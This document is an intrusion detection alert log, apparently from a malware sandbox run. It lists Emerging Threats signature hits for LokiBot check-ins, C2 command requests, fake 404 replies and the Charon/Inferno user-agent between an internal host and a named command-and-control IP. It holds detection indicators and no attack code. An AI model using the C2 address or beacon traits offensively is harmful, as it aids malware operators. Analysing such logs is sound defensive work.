ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749756802025381 01/05/23-08:52:27.231494
SID:	2025381
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749868802024313 01/05/23-08:53:01.029018
SID:	2024313
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749806802825766 01/05/23-08:52:42.779655
SID:	2825766
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749720802825766 01/05/23-08:52:16.949813
SID:	2825766
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749802802024318 01/05/23-08:52:41.641382
SID:	2024318
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749860802025381 01/05/23-08:52:58.886735
SID:	2025381
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749872802021641 01/05/23-08:53:02.084337
SID:	2021641
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749958802021641 01/05/23-08:53:27.233105
SID:	2021641
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749758802825766 01/05/23-08:52:27.765970
SID:	2825766
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750040802021641 01/05/23-08:53:52.135869
SID:	2021641
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750081802825766 01/05/23-08:54:03.233046
SID:	2825766
Source Port:	50081
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749832802025381 01/05/23-08:52:49.809310
SID:	2025381
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749859802024318 01/05/23-08:52:58.622571
SID:	2024318
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749997802025381 01/05/23-08:53:39.208772
SID:	2025381
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498492025483 01/05/23-08:52:55.968261
SID:	2025483
Source Port:	80
Destination Port:	49849
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749830802024313 01/05/23-08:52:49.252221
SID:	2024313
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498272025483 01/05/23-08:52:48.539251
SID:	2025483
Source Port:	80
Destination Port:	49827
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749961802825766 01/05/23-08:53:29.597138
SID:	2825766
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749784802025381 01/05/23-08:52:36.673037
SID:	2025381
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749830802024318 01/05/23-08:52:49.252221
SID:	2024318
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498382025483 01/05/23-08:52:52.903649
SID:	2025483
Source Port:	80
Destination Port:	49838
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749970802825766 01/05/23-08:53:32.043326
SID:	2825766
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749971802021641 01/05/23-08:53:32.299331
SID:	2021641
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749953802021641 01/05/23-08:53:25.469204
SID:	2021641
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497202025483 01/05/23-08:52:17.036927
SID:	2025483
Source Port:	80
Destination Port:	49720
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749925802021641 01/05/23-08:53:17.874226
SID:	2021641
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499432025483 01/05/23-08:53:22.801221
SID:	2025483
Source Port:	80
Destination Port:	49943
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750078802024313 01/05/23-08:54:02.320663
SID:	2024313
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749920802021641 01/05/23-08:53:16.511672
SID:	2021641
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749942802825766 01/05/23-08:53:22.441601
SID:	2825766
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750028802025381 01/05/23-08:53:48.853917
SID:	2025381
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749981802021641 01/05/23-08:53:34.961120
SID:	2021641
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750078802024318 01/05/23-08:54:02.320663
SID:	2024318
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749802802021641 01/05/23-08:52:41.641382
SID:	2021641
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497152025483 01/05/23-08:52:14.109490
SID:	2025483
Source Port:	80
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497262025483 01/05/23-08:52:18.785455
SID:	2025483
Source Port:	80
Destination Port:	49726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749868802024318 01/05/23-08:53:01.029018
SID:	2024318
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498462025483 01/05/23-08:52:55.179194
SID:	2025483
Source Port:	80
Destination Port:	49846
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498572025483 01/05/23-08:52:58.138227
SID:	2025483
Source Port:	80
Destination Port:	49857
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749915802021641 01/05/23-08:53:15.112176
SID:	2021641
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749986802021641 01/05/23-08:53:36.285692
SID:	2021641
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500662025483 01/05/23-08:53:59.180210
SID:	2025483
Source Port:	80
Destination Port:	50066
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749728802025381 01/05/23-08:52:19.268418
SID:	2025381
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750056802025381 01/05/23-08:53:56.463023
SID:	2025381
Source Port:	50056
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750038802025381 01/05/23-08:53:51.593310
SID:	2025381
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500552025483 01/05/23-08:53:56.268231
SID:	2025483
Source Port:	80
Destination Port:	50055
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749896802024318 01/05/23-08:53:08.759564
SID:	2024318
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749740802024313 01/05/23-08:52:22.636691
SID:	2024313
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749799802025381 01/05/23-08:52:40.836883
SID:	2025381
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750051802025381 01/05/23-08:53:55.100340
SID:	2025381
Source Port:	50051
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750066802025381 01/05/23-08:53:59.096230
SID:	2025381
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749948802021641 01/05/23-08:53:24.079081
SID:	2021641
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749896802024313 01/05/23-08:53:08.759564
SID:	2024313
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749740802024318 01/05/23-08:52:22.636691
SID:	2024318
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749976802021641 01/05/23-08:53:33.629058
SID:	2021641
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750023802025381 01/05/23-08:53:47.546596
SID:	2025381
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749711802825766 01/05/23-08:52:12.061796
SID:	2825766
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749867802825766 01/05/23-08:53:00.773467
SID:	2825766
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497312025483 01/05/23-08:52:20.190278
SID:	2025483
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749958802024318 01/05/23-08:53:27.233105
SID:	2024318
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749738802025381 01/05/23-08:52:22.066688
SID:	2025381
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749972802024318 01/05/23-08:53:32.566966
SID:	2024318
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749943802021641 01/05/23-08:53:22.718924
SID:	2021641
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749790802825766 01/05/23-08:52:38.345416
SID:	2825766
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749958802024313 01/05/23-08:53:27.233105
SID:	2024313
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750011802825766 01/05/23-08:53:42.925761
SID:	2825766
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749712802024313 01/05/23-08:52:12.436257
SID:	2024313
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749712802024318 01/05/23-08:52:12.436257
SID:	2024318
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749972802024313 01/05/23-08:53:32.566966
SID:	2024313
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497862025483 01/05/23-08:52:37.298040
SID:	2025483
Source Port:	80
Destination Port:	49786
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749817802024318 01/05/23-08:52:45.747633
SID:	2024318
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497972025483 01/05/23-08:52:40.343463
SID:	2025483
Source Port:	80
Destination Port:	49797
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749817802024313 01/05/23-08:52:45.747633
SID:	2024313
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749830802021641 01/05/23-08:52:49.252221
SID:	2021641
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749812802024318 01/05/23-08:52:44.412618
SID:	2024318
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749895802825766 01/05/23-08:53:08.372653
SID:	2825766
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749766802025381 01/05/23-08:52:30.012463
SID:	2025381
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749901802024313 01/05/23-08:53:11.357263
SID:	2024313
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749812802024313 01/05/23-08:52:44.412618
SID:	2024313
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749968802024313 01/05/23-08:53:31.490288
SID:	2024313
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750045802021641 01/05/23-08:53:53.481872
SID:	2021641
Source Port:	50045
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499652025483 01/05/23-08:53:30.756002
SID:	2025483
Source Port:	80
Destination Port:	49965
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749962802024313 01/05/23-08:53:29.855666
SID:	2024313
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749865802025381 01/05/23-08:53:00.234414
SID:	2025381
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749873802024313 01/05/23-08:53:02.352866
SID:	2024313
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749873802024318 01/05/23-08:53:02.352866
SID:	2024318
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750035802825766 01/05/23-08:53:50.741604
SID:	2825766
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749770802025381 01/05/23-08:52:31.112136
SID:	2025381
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749936802025381 01/05/23-08:53:20.832811
SID:	2025381
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749716802825766 01/05/23-08:52:14.357533
SID:	2825766
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749908802025381 01/05/23-08:53:13.214132
SID:	2025381
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749962802024318 01/05/23-08:53:29.855666
SID:	2024318
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750007802825766 01/05/23-08:53:41.829015
SID:	2825766
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750073802021641 01/05/23-08:54:00.951462
SID:	2021641
Source Port:	50073
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749934802024313 01/05/23-08:53:20.304475
SID:	2024313
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749734802825766 01/05/23-08:52:20.978367
SID:	2825766
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749845802024313 01/05/23-08:52:54.838950
SID:	2024313
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749996802024313 01/05/23-08:53:38.933239
SID:	2024313
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750061802025381 01/05/23-08:53:57.824423
SID:	2025381
Source Port:	50061
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750017802021641 01/05/23-08:53:44.537455
SID:	2021641
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497422025483 01/05/23-08:52:23.269269
SID:	2025483
Source Port:	80
Destination Port:	49742
